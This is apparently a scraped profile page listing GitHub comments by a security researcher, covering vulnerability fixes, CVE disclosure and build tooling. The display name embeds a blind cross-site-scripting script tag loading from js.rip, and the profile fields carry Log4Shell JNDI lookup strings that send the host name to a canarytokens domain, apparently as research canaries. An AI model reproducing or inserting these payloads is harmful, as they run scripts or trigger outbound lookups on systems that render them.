Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

icon indicating a website link ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytokens.com/a} icon indicating an email [email protected]

icon company @chainguard-dev icon location Boston, MA icon location Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Results 599 comments of Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>

Focusing On Other Application While Saving Pipeline Crashes Grip on MacOS (Does Not Save Pipeline)

I have a sneaking suspicion this is out of our control to fix. It sounds like an OS bug

Getting node 12 deprecation error from github workflows runner

Unfortunately, I no longer work for Gradle, so I don't have the ability to do so. CC: @big-guy, @eskatos , @pioterj

[SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability

Hi @reckart Do you believe this fixed a valid security vulnerability? Do you need assistance with vulnerability disclosure and CVE issuance?

[SECURITY] Fix Temporary Directory Hijacking or Information Disclosure Vulnerability

Hi @reckart , Even if you don't plan to release a further release, vulnerability disclosures may still be a good thing to do. It's still valid to issue a CVE...

[SECURITY] Fix Zip Slip Vulnerability

@daniel-beck Just a friendly heads up👋

Expand vuln id relationships

Relationships off the top of my head: - Exists because of an insufficient fix for another ID - Similar to - Inspired by

[SECURITY] Fix Zip Slip Vulnerability

This logic modifies the unzip logic, not the logic to locate the file being unpacked. Maybe I am misunderstanding. Can you share a more explicit example to help clarify?

JDK 9 Support

Also, JDK 9 removed/moved `sun.misc.Unsafe` which means that it won't work.

Not picking up changelog from ktlint-gradle

I came here to report a completely unrelated issue. Funny to see that this was the top issue opened here. 😆

[kotlin] Add support for Kotlin

This is technically a "Fork" of the work done by [Poeschl](https://github.com/Poeschl) which is, itself, a fork of the original project [pmd-kotlin](https://github.com/jk1/pmd-kotlin) from [jk1](https://github.com/jk1). People are welcome to expand upon this...